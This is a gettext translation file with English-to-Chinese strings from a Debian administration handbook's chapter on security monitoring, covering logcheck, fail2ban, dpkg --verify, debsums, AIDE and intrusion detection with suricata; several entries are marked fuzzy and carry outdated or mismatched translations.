msgstr "以上内容显然假设您正在使用 ifupdown 来配置网络接口。如果您正在使用其它工具(例如 NetworkManager 或 systemd-networkd),那么您需要参考他们对应的文档来了解接口被启动后执行脚本的配置方式。"
msgid "Supervision: Prevention, Detection, Deterrence"
msgstr "监督:预防,检测,威慑"
msgid "monitoring"
msgstr "监视"
#, fuzzy
msgid "Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes ."
msgstr "监视是安全策略不可或缺的一部分,有几个原因。其中,保护的目的通常不限于确保数据机密性,也包括服务的有效性。因此就有必要检测一切正常,并及时侦测异常行为或者所呈现的服务质量的改变。监视活动可以发现入侵尝试并在他们导致严重后果之前迅速反应。本节回顾一些可以用于监视 Debian 系统的工具。因此,它补充了在 中一般系统监视部分。"
msgid "Monitoring Logs with logcheck"
msgstr "使用 logcheck 监视日志"
msgid "logcheck"
msgstr "logcheck命令"
#, fuzzy
#| msgid "logsmonitoring"
msgid "log filesmonitoring"
msgstr "日志监视"
msgid "monitoringlog files"
msgstr "监视日志文件"
#, fuzzy
#| msgid "monitoringlog files"
msgid "filelog file"
msgstr "监视日志文件"
msgid "The logcheck program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis."
msgstr "logcheck 程序默认每小时监视日志文件。它会把异常日志信息通过邮件发给管理员分析。"
#, fuzzy
#| msgid "The list of monitored files is stored in /etc/logcheck/logcheck.logfiles; the default values work fine if the /etc/syslog.conf file has not been completely overhauled."
msgid "The list of monitored files is stored in /etc/logcheck/logcheck.logfiles; the default values work fine if the /etc/rsyslog.conf file has not been completely overhauled."
msgstr "要监视的文件清单存储在 /etc/logcheck/logcheck.logfiles;如果 /etc/syslog.conf 文件没有被彻底修改,使用默认值就能很好工作。"
msgid "/etc/etc/logcheck/logcheck"
msgstr ""
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/rsyslog.conf"
msgstr "监视日志文件"
msgid "logcheck can work in one of three more or less detailed modes: paranoid, server and workstation. The first one is very verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages)."
msgstr "logcheck 可以以三种模式中的一种或几种工作:偏执(paranoid), 服务器(server) 和 工作站(workstation)。第一种模式是非常详细的,应该只限于特殊服务器,例如防火墙。推荐大多数服务器使用第二个(也是默认)模式。最后一个用于工作站,更简明(过滤掉了更多信息)。"
msgid "In all three cases, logcheck should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, /usr/share/doc/logcheck-database/README.logcheck-database.gz is a required — if challenging — read."
msgstr "在三种情况下,logcheck 可以被定制以排除某些信息(取决于安装的服务),除非管理员真想每小时收到一批不感兴趣的邮件。由于信息筛选机制相当复杂,如果碰到问题就需要翻阅 /usr/share/doc/logcheck-database/README.logcheck-database.gz。"
msgid "The applied rules can be split into several types:"
msgstr "适用的规则可以分成几种类型:"
msgid "those that qualify a message as a cracking attempt (stored in a file in the /etc/logcheck/cracking.d/ directory);"
msgstr "被认为是尝试侵入的信息(文件存储在 /etc/logcheck/cracking.d/ 目录中);"
msgid "those canceling such a qualification (/etc/logcheck/cracking.ignore.d/);"
msgstr "取消限制的信息(/etc/logcheck/cracking.ignore.d/);"
msgid "those classifying a message as a security alert (/etc/logcheck/violations.d/);"
msgstr "被标识为安全警报的信息(/etc/logcheck/violations.d/);"
msgid "those canceling this classification (/etc/logcheck/violations.ignore.d/);"
msgstr "取消此类标识的信息(/etc/logcheck/violations.ignore.d/);"
msgid "finally, those applying to the remaining messages (considered as system events)."
msgstr "最后是,剩余的信息(可以考虑为系统事件)。"
msgid "CAUTION Ignoring a message"
msgstr "注意忽略信息"
msgid "Any message tagged as a cracking attempt or a security alert (following a rule stored in a /etc/logcheck/violations.d/myfile file) can only be ignored by a rule in a /etc/logcheck/violations.ignore.d/myfile or /etc/logcheck/violations.ignore.d/myfile-extension file."
msgstr "任何被标识为侵入尝试和安全警报的信息(按照 /etc/logcheck/violations.d/myfile 文件中的规则)只能由 /etc/logcheck/violations.ignore.d/myfile 或者 /etc/logcheck/violations.ignore.d/myfile-extension 文件中定义的规则忽略。"
msgid "A system event is always signaled unless a rule in one of the /etc/logcheck/ignore.d.{paranoid,server,workstation}/ directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode."
msgstr "系统事件总是会被发送,除非在 /etc/logcheck/ignore.d.{paranoid,server,workstation}/ 目录中的规则指明某些事件要被忽略。当然,只有相应详细等级等于或大于所选择模式的目录会起作用。"
msgid "Monitoring Activity"
msgstr "监视行为"
msgid "monitoringactivity"
msgstr "监视行为"
msgid "activity, monitoring"
msgstr "行为,监视"
msgid "In Real Time"
msgstr "实时"
msgid "top"
msgstr "top"
msgid "top is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the P key. Other sort orders include a sort by occupied memory (M key), by total processor time (T key) and by process identifier (N key). The k key allows killing a process by entering its process identifier. The r key allows renicing a process, i.e. changing its priority."
msgstr "top 是一个可以显示目前正在运行进程的交互工具。默认排序基于处理器的使用量,可以通过 P 键获取。其他排序方法包括内存使用量(M 键),总处理器时间(T 键)和处理器标识(N 键)。k 键允许输入进程标识结束进程。r 键可以 renicing 进程,例如改变优先级。"
#, fuzzy
#| msgid "When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it's probably an instance of software installed and executed on the system through a vulnerability in a web application."
msgid "When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application."
msgstr "当系统过载时,top 是一个很好的工具,用来查看哪个进程抢占处理器或者消耗过多内存。特别是,检查那些进程所消耗的资源是宿主机器服务要使用的。以互联网数据用户身份运行的未知进程应该单列并调查,它很有可能是通过网络应用上的漏洞,在系统上安装并运行的软件。"
msgid "top is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits."
msgstr "top 是一个很灵活的工具,手册页中详列了如何定制显示并让其适于个人需求和习惯。"
msgid "The gnome-system-monitor graphical tool is similar to top and it provides roughly the same features."
msgstr "gnome-system-monitor 图形工具和 top 类似,并提供大体上相同的特性。"
msgid "gnome-system-monitor"
msgstr "gnome-system-monitor"
msgid "History"
msgstr "历史"
msgid "activity, history"
msgstr "活动,历史"
msgid "SNMP"
msgstr "SNMP"
#, fuzzy
#| msgid "Simple Network Management Protocol"
msgid "Simple Network Management ProtocolSNMP"
msgstr "简单网络管理协议"
#, fuzzy
#| msgid "top"
msgid "cacti"
msgstr "top"
msgid "Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used."
msgstr "处理器负载,网络流量和空闲磁盘空间是一直在变化的信息。记录它们的演变常常可以用来确定电脑是如何使用的。"
msgid "There are many dedicated tools for this task. Most can fetch data via SNMP (Simple Network Management Protocol) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches."
msgstr "有很多专门工具可用于此类任务。很多可以通过 SNMP(简单网络管理协议)获取数据,集中信息。这样的好处之一是可以从非通用计算机,例如专用的网络路由器或者交换机上获取数据。"
#, fuzzy
msgid "This book deals with Munin in some detail (see ) as part of . Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/Table-of-Contents.html) should be considered a prerequisite."
msgstr "本书对 Munin 某些方面进行详细介绍(参考 ) 作为 的一部分。Debian 也提供了类似工具,cacti。部署稍微有些复杂,它只基于 SNMP。尽管有网页界面,掌握配置中涉及的概念仍然需要一些努力。要阅读相关的文档作为基础(/usr/share/doc/cacti/html/index.html)。"
msgid "ALTERNATIVE mrtg"
msgstr "选择 mrtg"
msgid "mrtg"
msgstr "mrtg"
msgid "mrtg (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on."
msgstr "mrtg(在相似名称的软件包在)是一个较老的工具。尽管有些不足,但是它可以收集历史数据并以图形显示。它包含了一系列脚本用于收集最常用的监视数据,例如:处理器负载,网络流量,网页点击量,等等。"
msgid "The mrtg-contrib and mrtgutils packages contain example scripts that can be used directly."
msgstr "mrtg-contrib 和 mrtgutils 软件包含有可以直接使用的示例脚本。"
msgid "Avoiding Intrusion"
msgstr "避免入侵"
msgid "intrusion detection"
msgstr "入侵侦测"
#, fuzzy
#| msgid "IDS"
msgid "brute-force"
msgstr "IDS"
#, fuzzy
#| msgid "checksecurity"
msgid "fail2ban"
msgstr "checksecurity"
#, fuzzy
msgid "Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log into an unauthorized software system by performing multiple login attempts in a short period of time."
msgstr "攻击者试图通过猜测密码来访问服务器,这就是为什么必须始终使用强密码。即便如此,你也应该制定措施,防止暴力攻击。暴力攻击是试图通过在短时间内多次登录尝试登录到未经授权的软件系统。"
#, fuzzy
msgid "The best way to stop a brute-force attack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address."
msgstr "阻止暴力攻击的最佳方法是限制来自同一源的登录尝试次数,通常是通过暂时禁止 IP 地址。"
msgid "Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attempts to a log file. It can be found in the package fail2ban."
msgstr ""
msgid "Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban/:"
msgstr ""
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/fail2ban/"
msgstr "监视日志文件"
msgid "fail2ban.conf. Global configuration (such as logging)."
msgstr "fail2ban.conf。全局配置(如日志记录)。"
msgid "filter.d/*.conf. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs."
msgstr ""
msgid "action.d/*.conf. Actions defining the commands for banning and “unbanning“ of IP addresses."
msgstr ""
#, fuzzy
#| msgid "chain"
msgid "jail"
msgstr "链(chain)"
msgid "jail.conf. It is where jails, the combinations of filters and actions, are defined."
msgstr ""
msgid "Let us have a look at the configuration of sshd in /etc/fail2ban/jail.conf to better understand how Fail2Ban works..."
msgstr ""
#, fuzzy
#| msgid "logsdisplay"
msgid "SSHfail2ban"
msgstr "OSImodel"
#, fuzzy
msgid ""
"[...]\n"
"[DEFAULT]\n"
"[...]\n"
"bantime = 10m\n"
"[...]\n"
"findtime = 10m\n"
"[...]\n"
"maxretry = 5\n"
"[...]\n"
"[sshd]\n"
"port = ssh\n"
"logpath = %(sshd_log)s\n"
"backend = %(sshd_backend)s"
msgstr ""
"[...]\n"
"[DEFAULT]\n"
"[...]\n"
"bantime = 10m\n"
"[...]\n"
"maxretry = 5\n"
"[...]\n"
"[sshd]\n"
"port = ssh\n"
"logpath = %(sshd_log)s\n"
"backend = %(sshd_backend)s"
msgid "Fail2Ban will check for failed login attempts for sshd using Python regular expressions defined in /etc/fail2ban/filter.d/sshd.conf against the log file of sshd, which is defined in the variable sshd_log in the file /etc/fail2ban/paths-common.conf. If Fail2Ban detects five failed login attempts within 10 minutes, it will ban the IP address where those attempts originated for 10 minutes."
msgstr ""
msgid "To enable, disable, or configure “jails“, the main configuration file /etc/fail2ban/jail.conf is not supposed to be altered. Instead this is supposed to be done in /etc/fail2ban/jail.d/defaults-debian.conf or files within the same directory."
msgstr ""
msgid "Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet."
msgstr "Fail2Ban 是一种非常简单而有效的方法,可以抵御最常见的暴力攻击,但它无法抵御分布式暴力攻击,即当攻击者使用大量分散在互联网上的计算机时。"
#, fuzzy
msgid "A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt."
msgstr "提供额外保护以抵御分布式暴力攻击的一个好方法就是在每次尝试失败后人为地增加登录时间。"
msgid "Detecting Changes"
msgstr "侦测变化"
#, fuzzy
#| msgid "Once the system is installed and configured, and barring security upgrades, there's usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)."
msgid "Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)."
msgstr "系统一旦安装和配置,除非安全更新,通常没有理由改变大部分文件和目录,数据除外。因此,要注意确保文件没有改变:任何非预期的变化都值得探究。本节介绍几个可以在非预期变化发生时监视文件并警告管理员(或者只列出变化)的工具。"
msgid "Auditing Packages with dpkg --verify"
msgstr "用dpkg --verify审计软件包"
#, fuzzy
#| msgid "dpkgdpkg --verify"
msgid "dpkg--verify"
msgstr "dpkgdpkg --verify"
msgid "GOING FURTHER Protecting against upstream changes"
msgstr "进阶 防止上游变化"
#, fuzzy
#| msgid "dpkg --verify is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see ), and taking care to only install packages from a certified origin."
msgid "dpkg --verify and debsums are useful in detecting changes to files coming from a Debian package, but they will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see ), and taking care to only install packages from a certified origin."
msgstr "dpkg --verify 可以用来侦测源于 Debian 软件包的变化,但是如果软件包本身有问题,它就不起作用了,例如 Debian 被攻破。可以使用 APT 数字签名验证系统防止此类攻击(参考 ),并只从已认证的源安装软件包。"
msgid "dpkg --verify (or dpkg -V) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in /var/lib/dpkg/info/package.md5sums); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files."
msgstr ""
#, fuzzy
#| msgid "debsums"
msgid ".md5sums"
msgstr "debsums"
#, fuzzy
#| msgid "BACK TO BASICS Denial of service"
msgid "BACK TO BASICS File fingerprint"
msgstr "回到基础 拒绝服务"
#, fuzzy
#| msgid "logsmonitoring"
msgid "filefingerprint"
msgstr "日志监视"
msgid "fingerprint"
msgstr "指纹"
#, fuzzy
#| msgid "chain"
msgid "hashsum"
msgstr "链(chain)"
#, fuzzy
#| msgid "monitoring"
msgid "control sumhashsum"
msgstr "监视"
msgid "MD5"
msgstr "MD5"
msgid "SHA1"
msgstr "SHA1"
#, fuzzy
#| msgid "debsums is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. First, because not all Debian packages provide the fingerprints required by this program (they can be found in /var/lib/dpkg/info/package.md5sums when they exist). fingerprint control sum MD5 SHA1 As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm (MD5 or SHA1 being well-known examples) that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task."
msgid "As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm, e.g. MD5 via md5sum or SHA* via various sha* commands being well-known examples, that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task."
msgstr "提醒:指纹是一个值,通常是一个数字(即使使用十六进制表示法),它包含文件内容的一种签名。此签名的计算方法为算法(MD5 或 SHA1 是众所周知的示例),该算法或多或少地保证,即使是文件内容中最小的更改也意味着指纹的变化;这就是所谓的\"阿瓦兰奇效应\"。这允许简单的数字指纹作为试金石测试,以检查文件的内容是否已更改。这些算法是不可逆的;换句话说,对于他们中的大多数来说,知道指纹不允许找到相应的内容。最近的数学进步似乎削弱了这些原则的绝对性,但到目前为止,它们的使用还没有受到质疑,因为创建产生相同指纹的不同内容似乎仍然是一项相当困难的任务。"
#, fuzzy
msgid "Running dpkg -V will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of rpm -V where each character denotes a test on some specific meta-data. Unfortunately dpkg does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a \"5\" on the third character (when it fails)."
msgstr "运行 dpkg -V将验证所有已安装软件包,并为每个测试失败的文件打印一行,输出格式与 rpm -V相同,每个字符表示针对一些特定元数据的测试。不幸的是 dpkg不存储众多测试所需的元数据,由此将针对它们输出问号。当前仅校验和测试能在第三个字符上生成一个“5”(当失败时)。"
msgid ""
"\n"
"# dpkg -V\n"
"??5?????? /lib/systemd/system/ssh.service\n"
"??5?????? c /etc/libvirt/qemu/networks/default.xml\n"
"??5?????? c /etc/lvm/lvm.conf\n"
"??5?????? c /etc/salt/roster"
msgstr ""
"\n"
"# dpkg -V\n"
"??5?????? /lib/systemd/system/ssh.service\n"
"??5?????? c /etc/libvirt/qemu/networks/default.xml\n"
"??5?????? c /etc/lvm/lvm.conf\n"
"??5?????? c /etc/salt/roster"
msgid "In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service.d/override.conf override (which would be stored below /etc like any configuration change should be). It also lists multiple configuration files (identified by the \"c\" letter on the second field) that had been legitimately modified."
msgstr ""
msgid "/etc/etc/systemd/system/*.d/override.conf"
msgstr ""
msgid "Auditing Packages: debsums and its Limits"
msgstr "审核软件包:debsums 及其限制"
msgid "debsums"
msgstr "debsums"
msgid "debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar workarounds)."
msgstr ""
#, fuzzy
#| msgid "The other problem can be avoided in a similar fashion: the check must simply be based on a pristine .deb file. Since this implies having all the .deb files for all the installed packages, and being sure of their integrity, the simplest way is to grab them from a Debian mirror. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis."
msgid "Since the data on the disk cannot be trusted, debsums offers to do its checks based on .deb files instead of relying on dpkg's database. To download trusted .deb files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis."
msgstr "其他问题可以通过类似方法避免:检查必须基于素 .deb 文件。这意味着所有已安装的软件包都要有 .deb 文件,并确保它们的完整性,最简单的方法就是从 Debian 镜像抓取。这一过程是缓慢而冗长的,因此不应作为定期使用的主动技术。"
#, fuzzy
#| msgid ""
#| "\n"
#| "# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`\n"
#| "[ ... ]\n"
#| "# debsums -p /var/cache/apt/archives --generate=all"
msgid ""
"\n"
"# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`\n"
"[ ... ]\n"
"# debsums -p /var/cache/apt/archives --generate=all"
msgstr ""
"\n"
"# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`\n"
"[ ... ]\n"
"# debsums -p /var/cache/apt/archives --generate=all"
msgid "Note that this example uses the grep-status command from the dctrl-tools package, which is not installed by default."
msgstr "注意本例使用 dctrl-tools 软件包中的 grep-status 命令,该命令默认情况下没有安装。"
#, fuzzy
#| msgid "bufferreceive buffer"
msgid "/etc/etc/default/debsums"
msgstr "缓冲区接收缓冲区"
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/debsums-ignore"
msgstr "监视日志文件"
msgid "debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpose or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore."
msgstr ""
msgid "Monitoring Files: AIDE"
msgstr "监视文件:AIDE"
#, fuzzy
#| msgid "ping"
msgid "aideinit"
msgstr "ping"
#, fuzzy
#| msgid "IDS"
msgid "AIDE"
msgstr "IDS"
#, fuzzy
#| msgid "intrusion detection"
msgid "Advanced Intrusion Detection EnvironmentAIDE"
msgstr "入侵侦测"
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/cron.daily/aide"
msgstr "监视日志文件"
msgid "The AIDE tool (Advanced Intrusion Detection Environment) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (/var/lib/aide/aide.db) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with aideinit; it is then used daily (by the /etc/cron.daily/aide script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (/var/log/aide/*.log) and sends its findings to the administrator by email."
msgstr "AIDE(Advanced Intrusion Detection Environment )工具可以检查文件完整性,侦测系统之前文件镜像的任何变化。这种影响以数据库(/var/lib/aide/aide.db)形式储存,包含了系统上所有文件的相关信息(指纹,权限,时间戳,等等)。该数据库使用 aideinit命令初始化;然后每天(通过 /etc/cron.daily/aide 脚本)检查有无任何相关改变。如果探测到变化,AIDE 会将其记入文件(/var/log/aide/*.log)并将发现通过邮件发送给管理员。"
msgid "IN PRACTICE Protecting the database"
msgstr "实践 保护数据库"
msgid "Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media."
msgstr "由于 AIDE 使用本地数据库来比较文件的状态,因此结果的有效性和数据库的有效性直接相关。如果攻击者获得超级用户权限,他就能替换数据库并覆盖其痕迹。一个可能的替代方案就是将参考数据储存在只读媒介上。"
#, fuzzy
#| msgid "bufferreceive buffer"
msgid "/etc/etc/aide/aide.conf"
msgstr "缓冲区接收缓冲区"
msgid "Many options in /etc/default/aide can be used to tweak the behavior of the aide package. The AIDE configuration proper is stored in /etc/aide/aide.conf and /etc/aide/aide.conf.d/ (actually, these files are only used by update-aide.conf to generate /var/lib/aide/aide.conf.autogenerated). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the aide.conf 5 manual page is therefore recommended."
msgstr "/etc/default/aide 中的很多选项可以用于调整 aide 软件包行为。AIDE 配置存储在 /etc/aide/aide.conf 和 /etc/aide/aide.conf.d/(实际上,这些文件只用于 update-aide.conf 生成 /var/lib/aide/aide.conf.autogenerated)。配置指明哪些文件的哪些特性需要检查。譬如,日志文件的内容会有常规更新,只要这些文件的读写权限保持不变,那么就可以忽略这些变化。但是,可执行程序的内容和权限必须是不变的。虽然不是很复杂,但是配置的语法不是很直观,推荐阅读 aide.conf 5 手册。"
msgid "A new version of the database is generated daily in /var/lib/aide/aide.db.new; if all recorded changes were legitimate, it can be used to replace the reference database."
msgstr "新版本的数据库每天生成在 /var/lib/aide/aide.db.new;如果所有记录的变化都是合法的,就可以用它替代参考数据库。"
msgid "ALTERNATIVE Tripwire and Samhain"
msgstr "选择 Tripwire 和 Samhain"
#, fuzzy
#| msgid "checksecurity"
msgid "tripwire"
msgstr "checksecurity"
#, fuzzy
#| msgid "checksecurity"
msgid "samhain"
msgstr "checksecurity"
msgid "Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by tripwire is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database."
msgstr "Tripwire 和 AIDE 非常相似;甚至是配置文件的语法都几乎相同。tripwire 所提供的额外特性是签名配置文件机制,这样攻击者就不能将其指向不同版本的参考数据库。"
#, fuzzy
#| msgid "Samhain also offers similar features, as well as some functions to help detecting rootkits (see the QUICK LOOK sidebar). It can also be deployed globally on a network, and record its traces on a central server (with a signature)."
msgid "Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar ). It can also be deployed globally on a network, and record its traces on a central server (with a signature)."
msgstr "Samhain 也提供了类似特性,还有一些能探测恶意软件的功能(参考侧边栏)。它也能在网络上全局部署,并(使用签名)记录中心服务器上的痕迹。"
msgid "QUICK LOOK The checksecurity and chkrootkit/rkhunter packages"
msgstr "速览 checksecurity 和 chkrootkit/rkhunter 软件包"
msgid "checksecurity"
msgstr "checksecurity"
#, fuzzy
#| msgid "checksecurity"
msgid "chkrootkit"
msgstr "checksecurity"
#, fuzzy
#| msgid "checksecurity"
msgid "rkhunter"
msgstr "checksecurity"
msgid "The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure."
msgstr "三个软件包中,第一个包含了几个小脚本进行系统上的基础检查(空白口令,新的设置身份文件,等等)并警告管理员。尽管其名为“安全检查”,但是管理员不应该仅仅指望它来确保 Linux 系统安全。"
msgid "The chkrootkit and rkhunter packages allow looking for rootkits potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems."
msgstr "chkrootkit 和 rkhunter 软件包可以搜索系统上安装的潜在 恶意软件(rootkits)。提示,此类软件被设计成掩盖系统已经被攻破,并谨慎的控制机器。检测并不能保证100%可靠,但是他们可以将管理员的注意力吸引到潜在问题上。"
msgid "rkhunter also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications."
msgstr ""
msgid "Detecting Intrusion (IDS/NIDS)"
msgstr "侦测入侵(IDS/NIDS)"
#, fuzzy
#| msgid "logsmonitoring"
msgid "detectingintrusion"
msgstr "日志监视"
#, fuzzy
#| msgid "intrusion detection system"
msgid "IDSIntrusion Detection System"
msgstr "入侵探测系统"
#, fuzzy
#| msgid "intrusion detection system"
msgid "Intrusion Detection SystemIDS"
msgstr "入侵探测系统"
msgid "NIDS"
msgstr "NIDS"
#, fuzzy
#| msgid "NetworkIDS"
msgid "networkIDSNIDS"
msgstr "网络IDS"
msgid "BACK TO BASICS Denial of service"
msgstr "回到基础 拒绝服务"
#, fuzzy
#| msgid "denial of service"
msgid "Denial of ServiceDoS"
msgstr "拒绝服务"
#, fuzzy
#| msgid "denial of service"
msgid "Distributed Denial of ServiceDDoS"
msgstr "拒绝服务"
#, fuzzy
#| msgid "logsmonitoring"
msgid "DoSDenial of Service"
msgstr "日志监视"
msgid "DDoSDistributed Denial of Service"
msgstr ""
msgid "A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site)."
msgstr "“拒绝服务”攻击只有一个目的:让服务不可用。不管是通过查询使服务器过载还是利用缺陷,最终目的都是一样的:服务不再运行。正常用户就会不悦,提供网络服务的实体声誉遭受损失(可能是营收,譬如,使用服务的是一个电子商务网站)。"
#, fuzzy
#| msgid "Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: DoS and DDoS (depending on whether the denial of service attack is distributed or not)."
msgid "Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: DDoS and DoS (depending on whether the denial of service attack is distributed or not)."
msgstr "这种攻击有时候是“分布式的”;通常是通过来自许多不同源头的巨量查询使服务器过载,从而不能对合法查询做出应答。此类攻击有众所周知的缩写: DoS 和 DDoS(取决于拒绝服务攻击是否是分布式的)。"
#, fuzzy
#| msgid "snort (in the Debian package of the same name) is a NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged, and a daily email is sent to the administrator with a summary of the past 24 hours."
msgid "suricata (in the Debian package of the same name) is an NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected. "
msgstr "snort(在 Debian 的同名软件包中)属于 NIDS -网络入侵侦测系统(Network Intrusion Detection System)。它的功能是监听网络并侦测渗透尝试和敌意行为(包括拒绝服务攻击)。所有这些事件都会被记录,并且每天会给管理员发送过去24小时的摘要。"
msgid "snort"
msgstr "snort"
msgid "suricata"
msgstr "suricata"
msgid "CAUTION Range of action"
msgstr "注意 行动范围"
#, fuzzy
